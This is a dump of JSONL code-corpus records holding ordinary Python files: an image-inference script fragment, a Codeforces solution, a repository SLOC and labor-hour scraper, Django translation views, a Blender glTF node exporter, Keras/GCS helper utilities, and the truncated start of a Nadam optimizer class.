0.1, fy=0.1)\n cv.imwrite(output_path,anno_vis)\n\nif __name__ == \"__main__\":\n #0 config\n arg = load_arg()\n\n if arg.CONFIG_FILE != None:\n cfg.merge_from_file(arg.CONFIG_FILE)\n\n cfg = merge_from_dict(cfg,vars(arg))\n print(cfg)\n\n if cfg.OUTPUT.DIR_NAME and not path.exists(cfg.OUTPUT.DIR_NAME):\n mkdir(cfg.OUTPUT.DIR_NAME)\n\n #1 dataloader\n dataloader = make_inference_dataloader(cfg=cfg)\n\n #2 create png\n zeros = create_png(cfg)\n\n #3 build model\n model = build_model(cfg).cuda()\n model.eval()\n\n #4 forward & save\n save_path = cfg.TOOLS.save_path\n image = forward(dataloader,model,zeros)\n # cv.imwrite(save_path,image)\n pil_image = Image.fromarray(image)\n pil_image.save(save_path)\n label_save_path = path.join(path.split(save_path)[0], \"vis_\" + path.split(save_path)[1])\n label_resize_save(image,label_save_path)\n \n\n ","sub_path":"code/code/code/test1/hcj_undergraduate_code/tools/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":3770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"217428437","text":"#!/usr/bin/python3\n#https://codeforces.com/contest/1426/problem/D\n\ndef f(l):\n n = len(l) #2e5\n pre = [None]*n\n pre[0] = (0,l[0])\n for i in range(1,n):\n pre[i] = (i,pre[i-1][1]+l[i])\n pre.sort(key=lambda t:t[1])\n return pre\n\n_ = input()\nl = list(map(int,input().split()))\nprint(f(l))\n","sub_path":"div3/1426/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"534588543","text":"import json\nimport logging\nimport logging.config\nimport os\nimport re\nimport requests\nimport tempfile\n\nfrom subprocess import Popen, PIPE, STDOUT # nosec\n\nlogger = logging.getLogger(__name__)\n\nEFFORT_REGEX = re.compile(r\"Effort = ([\\d\\.]+) Person-months\")\n\n\ndef execute(command, cwd=None):\n logger.debug(\"Forking command: %s\", command)\n\n if cwd is None:\n cwd = os.getcwd()\n elif not os.path.isdir(cwd):\n raise ValueError(\"path does not exist: %s\", cwd)\n\n process = Popen(command, cwd=cwd, stdout=PIPE, stderr=STDOUT, shell=False) # nosec\n out, err = process.communicate()\n return str(out), str(err)\n\n\ndef configure_logging(verbose=False):\n DEFAULT_LOGGING = {\n \"version\": 1,\n \"disable_existing_loggers\": False,\n \"formatters\": {\n \"standard\": {\n # 'format': '%(asctime)s [%(levelname)s] %(name)s: %(message)s'\n # 'format': '%(levelname)s: %(message)s'\n \"format\": \"%(asctime)s - %(levelname)s: %(message)s\"\n }\n },\n \"handlers\": {\n \"default\": {\n \"level\": \"INFO\",\n \"formatter\": \"standard\",\n \"class\": \"logging.StreamHandler\",\n },\n \"null\": {\n \"level\": \"INFO\",\n \"formatter\": \"standard\",\n \"class\": \"logging.NullHandler\",\n },\n },\n \"loggers\": {\n \"\": {\"handlers\": [\"default\"], \"level\": \"DEBUG\", \"propagate\": False},\n \"github3\": {\"handlers\": [\"null\"], \"level\": \"DEBUG\", \"propagate\": False},\n \"urllib3\": {\"handlers\": [\"null\"], \"level\": \"DEBUG\", \"propagate\": False},\n },\n }\n\n if verbose:\n DEFAULT_LOGGING[\"handlers\"][\"default\"][\"level\"] = \"DEBUG\"\n # DEFAULT_LOGGING['loggers']['']['level'] = 'DEBUG'\n\n logging.config.dictConfig(DEFAULT_LOGGING)\n\n\ndef git_repo_to_sloc(url):\n \"\"\"\n Given a Git repository URL, returns number of lines of code based on cloc\n\n Reference:\n - cloc: https://github.com/AlDanial/cloc\n - https://www.omg.org/spec/AFP/\n - Another potential way to calculation effort\n\n Sample cloc output:\n {\n \"header\": {\n \"cloc_url\": \"github.com/AlDanial/cloc\",\n \"cloc_version\": \"1.74\",\n \"elapsed_seconds\": 0.195950984954834,\n \"n_files\": 27,\n \"n_lines\": 2435,\n \"files_per_second\": 137.78956000769,\n \"lines_per_second\": 12426.5769858787\n },\n \"C++\": {\n \"nFiles\": 7,\n \"blank\": 121,\n \"comment\": 314,\n \"code\": 371\n },\n \"C/C++ Header\": {\n \"nFiles\": 8,\n \"blank\": 107,\n \"comment\": 604,\n \"code\": 191\n },\n \"CMake\": {\n \"nFiles\": 11,\n \"blank\": 49,\n \"comment\": 465,\n \"code\": 165\n },\n \"Markdown\": {\n \"nFiles\": 1,\n \"blank\": 18,\n \"comment\": 0,\n \"code\": 30\n },\n \"SUM\": {\n \"blank\": 295,\n \"comment\": 1383,\n \"code\": 757,\n \"nFiles\": 27\n }\n }\n \"\"\"\n\n with tempfile.TemporaryDirectory() as tmp_dir:\n logger.debug(\"Cloning: url=%s tmp_dir=%s\", url, tmp_dir)\n\n tmp_clone = os.path.join(tmp_dir, \"clone-dir\")\n\n cmd = [\"git\", \"clone\", \"--depth=1\", url, tmp_clone]\n execute(cmd)\n\n cmd = [\"cloc\", \"--json\", tmp_clone]\n out, _ = execute(cmd)\n\n try:\n json_start = out.find('{\"header\"')\n json_blob = out[json_start:].replace(\"\\\\n\", \"\").replace(\"'\", \"\")\n cloc_json = json.loads(json_blob)\n sloc = cloc_json[\"SUM\"][\"code\"]\n except json.decoder.JSONDecodeError:\n logger.debug(\"Error Decoding: url=%s, out=%s\", url, out)\n sloc = 0\n\n logger.debug(\"SLOC: url=%s, sloc=%d\", url, sloc)\n\n return sloc\n\n\ndef compute_labor_hours(sloc, month_hours=\"cocomo_book\"):\n \"\"\"\n Compute the labor hours, given a count of source lines of code\n\n The intention is to use the COCOMO II model to compute this value.\n\n References:\n - https://csse.usc.edu/tools/cocomoii.php\n - http://docs.python-guide.org/en/latest/scenarios/scrape/\n \"\"\"\n # Calculation of hours in a month\n if month_hours == \"hours_per_year\":\n # Use number of working hours in a year:\n # (40 Hours / week) * (52 weeks / year) / (12 months / year) ~= 173.33\n HOURS_PER_PERSON_MONTH = 40.0 * 52 / 12\n else:\n # Use value from COCOMO II Book (month_hours=='cocomo_book'):\n # Reference: https://dl.acm.org/citation.cfm?id=557000\n # This is the value used by the Code.gov team:\n # https://github.com/GSA/code-gov/blob/master/LABOR_HOUR_CALC.md\n HOURS_PER_PERSON_MONTH = 152.0\n\n cocomo_url = \"https://csse.usc.edu/tools/cocomoii.php\"\n page = requests.post(cocomo_url, data={\"new_size\": sloc})\n\n try:\n person_months = float(EFFORT_REGEX.search(page.text).group(1))\n except AttributeError:\n logger.error(\"Unable to find Person Months in page text: sloc=%s\", sloc)\n # If there is no match, and .search(..) returns None\n person_months = 0\n\n labor_hours = person_months * HOURS_PER_PERSON_MONTH\n logger.debug(\"sloc=%d labor_hours=%d\", sloc, labor_hours)\n\n return labor_hours\n\n\ndef labor_hours_from_url(url):\n sum_sloc = git_repo_to_sloc(url)\n logger.info(\"SLOC: %d\", sum_sloc)\n\n labor_hours = compute_labor_hours(sum_sloc)\n logger.info(\"labor_hours: %d\", labor_hours)\n\n return labor_hours\n\n\ndef _prune_dict_null_str(dictionary):\n \"\"\"\n Prune the \"None\" or emptry string values from dictionary items\n \"\"\"\n for key, value in list(dictionary.items()):\n if value is None or str(value) == \"\":\n del dictionary[key]\n\n if isinstance(value, dict):\n dictionary[key] = _prune_dict_null_str(dictionary[key])\n\n return dictionary\n","sub_path":"scraper/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":6161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"33669910","text":"import json\nimport logging\n\nfrom django.template import loader\nfrom django.http import *\nfrom django.template import RequestContext\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom translations.models import BusinessText\nfrom translations.utils import Languages\nfrom words.models import WordZH, WordPL\nlogger = logging.getLogger(__name__)\n\n\ndef words_translations(request, source_language):\n \"\"\"\n Manage words translations. Allow selecting words to edit.\n If exist display available translations.\n :param request: HTTP request\n :param source_language: language to translate words from\n :return: HTTP response\n \"\"\"\n if request.is_ajax():\n source_word_model = language_name_to_word_model(source_language)\n if 'translations' in request.POST:\n delete_translations(request.POST['word_to_translate'], source_word_model)\n add_translations(request.POST['word_to_translate'],\n source_word_model,\n json.loads(request.POST['translations']))\n return HttpResponse('{}', content_type='application/javascript')\n elif 'word_to_search' in request.POST:\n matching_words = source_word_model.objects.filter(word__startswith=request.POST['word_to_search'])[:5].values_list('word', flat=True)\n return HttpResponse(json.dumps({'matching_words': list(matching_words)}), content_type='application/javascript')\n elif 'word_to_translate' in request.POST:\n translations = get_translations_if_word_exists(request.POST['word_to_translate'], source_word_model)\n return HttpResponse(json.dumps({'translations': translations}), content_type='application/javascript')\n else:\n return HttpResponse('Unrecognized AJAX request', content_type='application/javascript')\n template = loader.get_template('translations/words_translations.html')\n context = RequestContext(request, {'source_language': source_language})\n return HttpResponse(template.render(context))\n\n\ndef language_name_to_word_model(language_name):\n if language_name == \"polish\":\n return WordPL\n elif language_name == \"chinese\":\n return WordZH\n else:\n raise Exception(\"Unknown language: \" + language_name)\n\n\ndef get_translations_if_word_exists(word_to_search, word_model):\n try:\n if word_model == WordZH:\n return list(WordZH.objects.get(word=word_to_search).wordpl_set.values('word'))\n elif word_model == WordPL:\n return list(WordPL.objects.get(word=word_to_search).wordzh_set.values('word', 'pinyin'))\n else:\n logger.error(\"Unknown word model: \" + word_model)\n return list()\n except ObjectDoesNotExist:\n return list()\n\n\ndef delete_translations(word_to_translate, source_word_model):\n for word_to_translate in source_word_model.objects.filter(word=word_to_translate):\n word_to_translate.get_translations().clear()\n\n\ndef add_translations(word_to_translate, source_word_model, translations):\n if source_word_model == WordPL:\n word_to_translate = WordPL.objects.get_or_create(word=word_to_translate)[0]\n for translation in translations:\n new_word_zh = WordZH.objects.get_or_create(word=translation['word'], pinyin=translation['pinyin'])[0]\n word_to_translate.add(new_word_zh)\n else:\n word_to_translate = WordZH.objects.get_or_create(word=word_to_translate)[0] # TODO: user should specify pinyin of source word?\n for translation in translations:\n new_word_pl = WordPL.objects.get_or_create(word=translation['word'])[0]\n word_to_translate.wordzh_set.add(new_word_pl)\n\n\ndef texts_translations(request, source_language):\n \"\"\"\n Manage texts translations. Allow selecting texts to edit.\n If exist display available translations.\n :param request: HTTP request\n :param source_language: language to translate texts from\n :return: HTTP response\n \"\"\"\n template = loader.get_template('translations/texts_translations.html')\n context = RequestContext(request, {'source_language': source_language})\n return HttpResponse(template.render(context))\n\n\ndef texts_translations_service(request):\n \"\"\"\n Same as texts_translations but handles operations in payload.\n :param request: HTTP request\n :return: HTTP response\n \"\"\"\n source_language = request.POST['source_language']\n text_to_translate = request.POST['text_to_translate']\n operation = request.POST['operation']\n if operation == 'set_translations':\n return set_text_translations(text_to_translate, source_language,\n translations=json.loads(request.POST['translations']))\n elif operation == 'get_matches':\n return get_text_matches(text_to_translate, source_language)\n elif operation == 'get_translations':\n return get_text_translations(text_to_translate, source_language)\n else:\n return HttpResponse('Unrecognized request', content_type='application/javascript')\n\n\ndef set_text_translations(source_text, source_language, translations):\n \"\"\"\n Set translations of the source text in source language to the specified translations\n :param source_text: text to translate\n :param source_language: language of text to translate\n :param translations: translations of the text to translate\n :return:\n \"\"\"\n business_text_to_translate, _ = BusinessText.objects.get_or_create(text=source_text, language=source_language)\n business_text_to_translate.translations.clear()\n for translation in translations:\n translation_language = Languages.chinese if source_language==Languages.polish else Languages.polish\n business_translation, _ = BusinessText.objects.get_or_create(text=translation, language=translation_language)\n business_text_to_translate.translations.add(business_translation)\n return HttpResponse('{}', content_type='application/javascript')\n\n\ndef get_text_matches(source_text, source_language):\n \"\"\"\n Get texts that start with the specified source text in specified language\n :param source_text: text that matches should start with\n :param source_language: languages of the matches\n :return:\n \"\"\"\n matching_business_texts = BusinessText.objects.filter(text__startswith=source_text, language=source_language)\n matching_texts = matching_business_texts[:5].values_list('text', flat=True)\n return HttpResponse(json.dumps({'matches': list(matching_texts)}), content_type='application/javascript')\n\n\ndef get_text_translations(source_text, source_language):\n \"\"\"\n Get translations of the specified text in specified language\n :param source_text: text to translate\n :param source_language: language of the text to translate\n :return:\n \"\"\"\n business_text_to_translate = BusinessText.objects.get(text=source_text, language=source_language)\n translations = list(business_text_to_translate.translations.values('text'))\n return HttpResponse(json.dumps({'translations': translations}), content_type='application/javascript')\n\n\n\n","sub_path":"translations/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"10543340","text":"# Copyright 2018-2021 The glTF-Blender-IO authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport math\nimport bpy\nfrom mathutils import Matrix, Quaternion, Vector\n\nfrom . import gltf2_blender_export_keys\nfrom io_scene_gltf2.blender.com import gltf2_blender_math\nfrom io_scene_gltf2.blender.exp.gltf2_blender_gather_cache import cached\nfrom io_scene_gltf2.blender.exp import gltf2_blender_gather_skins\nfrom io_scene_gltf2.blender.exp import gltf2_blender_gather_cameras\nfrom io_scene_gltf2.blender.exp import gltf2_blender_gather_mesh\nfrom io_scene_gltf2.blender.exp import gltf2_blender_gather_joints\nfrom io_scene_gltf2.blender.exp import gltf2_blender_gather_lights\nfrom io_scene_gltf2.blender.exp.gltf2_blender_gather_tree import VExportNode\nfrom ..com.gltf2_blender_extras import generate_extras\nfrom io_scene_gltf2.io.com import gltf2_io\nfrom io_scene_gltf2.io.com import gltf2_io_extensions\nfrom io_scene_gltf2.io.exp.gltf2_io_user_extensions import export_user_extensions\nfrom io_scene_gltf2.io.com.gltf2_io_debug import print_console\nfrom io_scene_gltf2.blender.exp import gltf2_blender_gather_tree\n\n\ndef gather_node(vnode, export_settings):\n blender_object = vnode.blender_object\n\n skin = __gather_skin(vnode, blender_object, export_settings)\n node = gltf2_io.Node(\n camera=__gather_camera(blender_object, export_settings),\n children=__gather_children(vnode, blender_object, export_settings),\n extensions=__gather_extensions(blender_object, export_settings),\n extras=__gather_extras(blender_object, export_settings),\n matrix=__gather_matrix(blender_object, export_settings),\n mesh=__gather_mesh(vnode, blender_object, export_settings),\n name=__gather_name(blender_object, export_settings),\n rotation=None,\n scale=None,\n skin=skin,\n translation=None,\n weights=__gather_weights(blender_object, export_settings)\n )\n\n # If node mesh is skined, transforms should be ignored at import, so no need to set them here\n if node.skin is None:\n node.translation, node.rotation, node.scale = __gather_trans_rot_scale(vnode, export_settings)\n\n\n export_user_extensions('gather_node_hook', export_settings, node, blender_object)\n\n vnode.node = node\n\n if node.skin is not None:\n vnode.skin = skin\n\n return node\n\n\ndef __gather_camera(blender_object, export_settings):\n if blender_object.type != 'CAMERA':\n return None\n\n return gltf2_blender_gather_cameras.gather_camera(blender_object.data, export_settings)\n\n\ndef __gather_children(vnode, blender_object, export_settings):\n children = []\n\n vtree = export_settings['vtree']\n\n # Standard Children / Collection\n for c in [vtree.nodes[c] for c in vnode.children if vtree.nodes[c].blender_type != gltf2_blender_gather_tree.VExportNode.BONE]:\n node = gather_node(c, export_settings)\n if node is not None:\n children.append(node)\n\n\n # Armature --> Retrieve Blender bones\n if vnode.blender_type == gltf2_blender_gather_tree.VExportNode.ARMATURE:\n root_joints = []\n\n all_armature_children = vnode.children\n root_bones_uuid = [c for c in all_armature_children if export_settings['vtree'].nodes[c].blender_type == VExportNode.BONE]\n for bone_uuid in root_bones_uuid:\n joint = gltf2_blender_gather_joints.gather_joint_vnode(bone_uuid, export_settings)\n children.append(joint)\n root_joints.append(joint)\n\n # Object parented to bones\n direct_bone_children = []\n for n in [vtree.nodes[i] for i in vtree.get_all_bones(vnode.uuid)]:\n direct_bone_children.extend([c for c in n.children if vtree.nodes[c].blender_type != gltf2_blender_gather_tree.VExportNode.BONE])\n\n\n def find_parent_joint(joints, name):\n for joint in joints:\n if joint.name == name:\n return joint\n parent_joint = find_parent_joint(joint.children, name)\n if parent_joint:\n return parent_joint\n return None\n\n for child in direct_bone_children: # List of object that are parented to bones\n # find parent joint\n parent_joint = find_parent_joint(root_joints, vtree.nodes[child].blender_object.parent_bone)\n if not parent_joint:\n continue\n child_node = gather_node(vtree.nodes[child], export_settings)\n if child_node is None:\n continue\n blender_bone = blender_object.pose.bones[parent_joint.name]\n\n mat = vtree.nodes[vtree.nodes[child].parent_bone_uuid].matrix_world.inverted_safe() @ vtree.nodes[child].matrix_world\n loc, rot_quat, scale = mat.decompose()\n\n trans = __convert_swizzle_location(loc, export_settings)\n rot = __convert_swizzle_rotation(rot_quat, export_settings)\n sca = __convert_swizzle_scale(scale, export_settings)\n\n\n translation, rotation, scale = (None, None, None)\n if trans[0] != 0.0 or trans[1] != 0.0 or trans[2] != 0.0:\n translation = [trans[0], trans[1], trans[2]]\n if rot[0] != 1.0 or rot[1] != 0.0 or rot[2] != 0.0 or rot[3] != 0.0:\n rotation = [rot[1], rot[2], rot[3], rot[0]]\n if sca[0] != 1.0 or sca[1] != 1.0 or sca[2] != 1.0:\n scale = [sca[0], sca[1], sca[2]]\n\n child_node.translation = translation\n child_node.rotation = rotation\n child_node.scale = scale\n\n parent_joint.children.append(child_node)\n\n return children\n\n\ndef __gather_extensions(blender_object, export_settings):\n extensions = {}\n\n if export_settings[\"gltf_lights\"] and (blender_object.type == \"LAMP\" or blender_object.type == \"LIGHT\"):\n blender_lamp = blender_object.data\n light = gltf2_blender_gather_lights.gather_lights_punctual(\n blender_lamp,\n export_settings\n )\n if light is not None:\n light_extension = gltf2_io_extensions.ChildOfRootExtension(\n name=\"KHR_lights_punctual\",\n path=[\"lights\"],\n extension=light\n )\n extensions[\"KHR_lights_punctual\"] = gltf2_io_extensions.Extension(\n name=\"KHR_lights_punctual\",\n extension={\n \"light\": light_extension\n }\n )\n\n return extensions if extensions else None\n\n\ndef __gather_extras(blender_object, export_settings):\n if export_settings['gltf_extras']:\n return generate_extras(blender_object)\n return None\n\n\ndef __gather_matrix(blender_object, export_settings):\n # return blender_object.matrix_local\n return []\n\n\ndef __gather_mesh(vnode, blender_object, export_settings):\n if blender_object.type in ['CURVE', 'SURFACE', 'FONT']:\n return __gather_mesh_from_nonmesh(blender_object, export_settings)\n\n if blender_object.type != \"MESH\":\n return None\n\n # For duplis instancer, when show is off -> export as empty\n if vnode.force_as_empty is True:\n return None\n\n # Be sure that object is valid (no NaN for example)\n blender_object.data.validate()\n\n # If not using vertex group, they are irrelevant for caching --> ensure that they do not trigger a cache miss\n vertex_groups = blender_object.vertex_groups\n modifiers = blender_object.modifiers\n if len(vertex_groups) == 0:\n vertex_groups = None\n if len(modifiers) == 0:\n modifiers = None\n\n # TODO for objects without any modifiers, we can keep original mesh_data\n # It will instance mesh in glTF\n if export_settings[gltf2_blender_export_keys.APPLY]:\n armature_modifiers = {}\n if export_settings[gltf2_blender_export_keys.SKINS]:\n # temporarily disable Armature modifiers if exporting skins\n for idx, modifier in enumerate(blender_object.modifiers):\n if modifier.type == 'ARMATURE':\n armature_modifiers[idx] = modifier.show_viewport\n modifier.show_viewport = False\n\n depsgraph = bpy.context.evaluated_depsgraph_get()\n blender_mesh_owner = blender_object.evaluated_get(depsgraph)\n blender_mesh = blender_mesh_owner.to_mesh(preserve_all_data_layers=True, depsgraph=depsgraph)\n for prop in blender_object.data.keys():\n blender_mesh[prop] = blender_object.data[prop]\n skip_filter = True\n\n if export_settings[gltf2_blender_export_keys.SKINS]:\n # restore Armature modifiers\n for idx, show_viewport in armature_modifiers.items():\n blender_object.modifiers[idx].show_viewport = show_viewport\n else:\n blender_mesh = blender_object.data\n skip_filter = False\n # If no skin are exported, no need to have vertex group, this will create a cache miss\n if not export_settings[gltf2_blender_export_keys.SKINS]:\n vertex_groups = None\n modifiers = None\n else:\n # Check if there is an armature modidier\n if len([mod for mod in blender_object.modifiers if mod.type == \"ARMATURE\"]) == 0:\n vertex_groups = None # Not needed if no armature, avoid a cache miss\n modifiers = None\n\n materials = tuple(ms.material for ms in blender_object.material_slots)\n\n # retrieve armature\n # Because mesh data will be transforms to skeleton space,\n # we can't instantiate multiple object at different location, skined by same armature\n uuid_for_skined_data = None\n if export_settings[gltf2_blender_export_keys.SKINS]:\n for idx, modifier in enumerate(blender_object.modifiers):\n if modifier.type == 'ARMATURE':\n uuid_for_skined_data = vnode.uuid\n\n result = gltf2_blender_gather_mesh.gather_mesh(blender_mesh,\n uuid_for_skined_data,\n vertex_groups,\n modifiers,\n skip_filter,\n materials,\n None,\n export_settings)\n\n if export_settings[gltf2_blender_export_keys.APPLY]:\n blender_mesh_owner.to_mesh_clear()\n\n return result\n\n\ndef __gather_mesh_from_nonmesh(blender_object, export_settings):\n \"\"\"Handles curves, surfaces, text, etc.\"\"\"\n needs_to_mesh_clear = False\n try:\n # Convert to a mesh\n try:\n if export_settings[gltf2_blender_export_keys.APPLY]:\n depsgraph = bpy.context.evaluated_depsgraph_get()\n blender_mesh_owner = blender_object.evaluated_get(depsgraph)\n blender_mesh = blender_mesh_owner.to_mesh(preserve_all_data_layers=True, depsgraph=depsgraph)\n # TODO: do we need preserve_all_data_layers?\n\n else:\n blender_mesh_owner = blender_object\n blender_mesh = blender_mesh_owner.to_mesh()\n\n # In some cases (for example curve with single vertice), no blender_mesh is created (without crash)\n if blender_mesh is None:\n return None\n\n except Exception:\n return None\n\n needs_to_mesh_clear = True\n\n skip_filter = True\n materials = tuple([ms.material for ms in blender_object.material_slots if ms.material is not None])\n vertex_groups = None\n modifiers = None\n blender_object_for_skined_data = None\n\n result = gltf2_blender_gather_mesh.gather_mesh(blender_mesh,\n blender_object_for_skined_data,\n vertex_groups,\n modifiers,\n skip_filter,\n materials,\n blender_object.data,\n export_settings)\n\n finally:\n if needs_to_mesh_clear:\n blender_mesh_owner.to_mesh_clear()\n\n return result\n\n\ndef __gather_name(blender_object, export_settings):\n return blender_object.name\n\ndef __gather_trans_rot_scale(vnode, export_settings):\n if vnode.parent_uuid is None:\n # No parent, so matrix is world matrix\n trans, rot, sca = vnode.matrix_world.decompose()\n else:\n # calculate local matrix\n trans, rot, sca = (export_settings['vtree'].nodes[vnode.parent_uuid].matrix_world.inverted_safe() @ vnode.matrix_world).decompose()\n\n\n\n # make sure the rotation is normalized\n rot.normalize()\n\n trans = __convert_swizzle_location(trans, export_settings)\n rot = __convert_swizzle_rotation(rot, export_settings)\n sca = __convert_swizzle_scale(sca, export_settings)\n\n if vnode.blender_object.instance_type == 'COLLECTION' and vnode.blender_object.instance_collection:\n offset = -__convert_swizzle_location(\n vnode.blender_object.instance_collection.instance_offset, export_settings)\n\n s = Matrix.Diagonal(sca).to_4x4()\n r = rot.to_matrix().to_4x4()\n t = Matrix.Translation(trans).to_4x4()\n o = Matrix.Translation(offset).to_4x4()\n m = t @ r @ s @ o\n\n trans = m.translation\n\n translation, rotation, scale = (None, None, None)\n trans[0], trans[1], trans[2] = gltf2_blender_math.round_if_near(trans[0], 0.0), gltf2_blender_math.round_if_near(trans[1], 0.0), \\\n gltf2_blender_math.round_if_near(trans[2], 0.0)\n rot[0], rot[1], rot[2], rot[3] = gltf2_blender_math.round_if_near(rot[0], 1.0), gltf2_blender_math.round_if_near(rot[1], 0.0), \\\n gltf2_blender_math.round_if_near(rot[2], 0.0), gltf2_blender_math.round_if_near(rot[3], 0.0)\n sca[0], sca[1], sca[2] = gltf2_blender_math.round_if_near(sca[0], 1.0), gltf2_blender_math.round_if_near(sca[1], 1.0), \\\n gltf2_blender_math.round_if_near(sca[2], 1.0)\n if trans[0] != 0.0 or trans[1] != 0.0 or trans[2] != 0.0:\n translation = [trans[0], trans[1], trans[2]]\n if rot[0] != 1.0 or rot[1] != 0.0 or rot[2] != 0.0 or rot[3] != 0.0:\n rotation = [rot[1], rot[2], rot[3], rot[0]]\n if sca[0] != 1.0 or sca[1] != 1.0 or sca[2] != 1.0:\n scale = [sca[0], sca[1], sca[2]]\n return translation, rotation, scale\n\ndef __gather_skin(vnode, blender_object, export_settings):\n modifiers = {m.type: m for m in blender_object.modifiers}\n if \"ARMATURE\" not in modifiers or modifiers[\"ARMATURE\"].object is None:\n return None\n\n # no skin needed when the modifier is linked without having a vertex group\n vertex_groups = blender_object.vertex_groups\n if len(vertex_groups) == 0:\n return None\n\n # check if any vertices in the mesh are part of a vertex group\n depsgraph = bpy.context.evaluated_depsgraph_get()\n blender_mesh_owner = blender_object.evaluated_get(depsgraph)\n blender_mesh = blender_mesh_owner.to_mesh(preserve_all_data_layers=True, depsgraph=depsgraph)\n if not any(vertex.groups is not None and len(vertex.groups) > 0 for vertex in blender_mesh.vertices):\n return None\n\n # Prevent infinite recursive error. A mesh can't have an Armature modifier\n # and be bone parented to a bone of this armature\n # In that case, ignore the armature modifier, keep only the bone parenting\n if blender_object.parent is not None \\\n and blender_object.parent_type == 'BONE' \\\n and blender_object.parent.name == modifiers[\"ARMATURE\"].object.name:\n\n return None\n\n # Skins and meshes must be in the same glTF node, which is different from how blender handles armatures\n return gltf2_blender_gather_skins.gather_skin(vnode.armature, export_settings)\n\n\ndef __gather_weights(blender_object, export_settings):\n return None\n\ndef __convert_swizzle_location(loc, export_settings):\n \"\"\"Convert a location from Blender coordinate system to glTF coordinate system.\"\"\"\n if export_settings[gltf2_blender_export_keys.YUP]:\n return Vector((loc[0], loc[2], -loc[1]))\n else:\n return Vector((loc[0], loc[1], loc[2]))\n\n\ndef __convert_swizzle_rotation(rot, export_settings):\n \"\"\"\n Convert a quaternion rotation from Blender coordinate system to glTF coordinate system.\n\n 'w' is still at first position.\n \"\"\"\n if export_settings[gltf2_blender_export_keys.YUP]:\n return Quaternion((rot[0], rot[1], rot[3], -rot[2]))\n else:\n return Quaternion((rot[0], rot[1], rot[2], rot[3]))\n\n\ndef __convert_swizzle_scale(scale, export_settings):\n \"\"\"Convert a scale from Blender coordinate system to glTF coordinate system.\"\"\"\n if export_settings[gltf2_blender_export_keys.YUP]:\n return Vector((scale[0], scale[2], scale[1]))\n else:\n return Vector((scale[0], scale[1], scale[2]))\n","sub_path":"addons/io_scene_gltf2/blender/exp/gltf2_blender_gather_nodes.py","file_name":"gltf2_blender_gather_nodes.py","file_ext":"py","file_size_in_byte":17608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"279039847","text":"import os\nimport pandas as pd\nfrom pandas.compat import StringIO\nimport numpy as np\nfrom keras import backend as K\nfrom tensorflow.python.framework.errors_impl import NotFoundError\nfrom tensorflow.python.lib.io import file_io\nfrom tensorflow.python.lib.io.file_io import stat\nfrom tensorflow.python.saved_model import builder as saved_model_builder\nfrom tensorflow.python.saved_model import tag_constants, signature_constants\nfrom tensorflow.python.saved_model.signature_def_utils_impl import predict_signature_def\n\n\ndef to_savedmodel(model, export_path):\n \"\"\"Convert the Keras HDF5 models into TensorFlow SavedModel.\"\"\"\n builder = saved_model_builder.SavedModelBuilder(export_path)\n signature = predict_signature_def(inputs={'input': model.inputs[0]},\n outputs={'income': model.outputs[0]})\n\n with K.get_session() as sess:\n builder.add_meta_graph_and_variables(\n sess=sess,\n tags=[tag_constants.SERVING],\n signature_def_map={\n signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY: signature}\n )\n builder.save()\n\n\ndef copy_file_to_gcs(job_dir, file_path):\n with file_io.FileIO(file_path, mode='r') as input_f:\n with file_io.FileIO(os.path.join(job_dir, file_path), mode='w+') as output_f:\n output_f.write(input_f.read())\n\n\ndef is_file_available(filepath):\n try:\n return stat(filepath)\n except NotFoundError as e:\n return False\n\n\ndef save_file(dir, file, name):\n if dir.startswith('gs://'):\n np.save(dir + name, file)\n copy_file_to_gcs(dir, 'features.npy')\n else:\n np.save(dir + name, file)\n\n\ndef load_file(job_dir, file_name):\n if job_dir.startswith('gs://') and is_file_available(job_dir + file_name):\n with file_io.FileIO(job_dir + file_name, mode='r') as input_f:\n return np.load(input_f), True\n elif os.path.exists(os.path.join(job_dir + file_name)):\n return np.load(job_dir + file_name), True\n else:\n return [], False\n\n\ndef create_predictions(config):\n file_stream = file_io.FileIO(config.train_csv[0], mode='r')\n train = pd.read_csv(StringIO(file_stream.read()))\n LABELS = list(train.label.unique())\n pred_list = []\n for i in range(config.n_folds):\n with file_io.FileIO(config.job_dir + '/test_predictions_%d.npy' % i, mode='r') as input_f:\n pred_list.append(np.load(input_f))\n\n prediction = np.ones_like(pred_list[0])\n for pred in pred_list:\n prediction = prediction * pred\n prediction = prediction ** (1. / len(pred_list))\n top_3 = np.array(LABELS)[np.argsort(-prediction, axis=1)[:, :3]]\n predicted_labels = [' '.join(list(x)) for x in top_3]\n file_stream = file_io.FileIO(config.test_csv[0], mode='r')\n test = pd.read_csv(StringIO(file_stream.read()))\n test['label'] = predicted_labels\n if config.job_dir.startswith(\"gs://\"):\n test[['fname', 'label']].to_csv('1d_2d_ensembled_submission.csv', index=False)\n copy_file_to_gcs(config.job_dir, '1d_2d_ensembled_submission.csv')\n else:\n test[['fname', 'label']].to_csv(os.path.join(config.job_dir, '1d_2d_ensembled_submission.csv'), index=False)","sub_path":"trainer/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"610812183","text":"import numpy as np\n\n\n# Nesterov-accelerated Adaptive Moment Estimation (Nadam)\nclass nadam:\n \n def __init__(self, fn, fn_grad):\n self.fn = fn\n self.fn_grad = fn_grad\n \n\n # 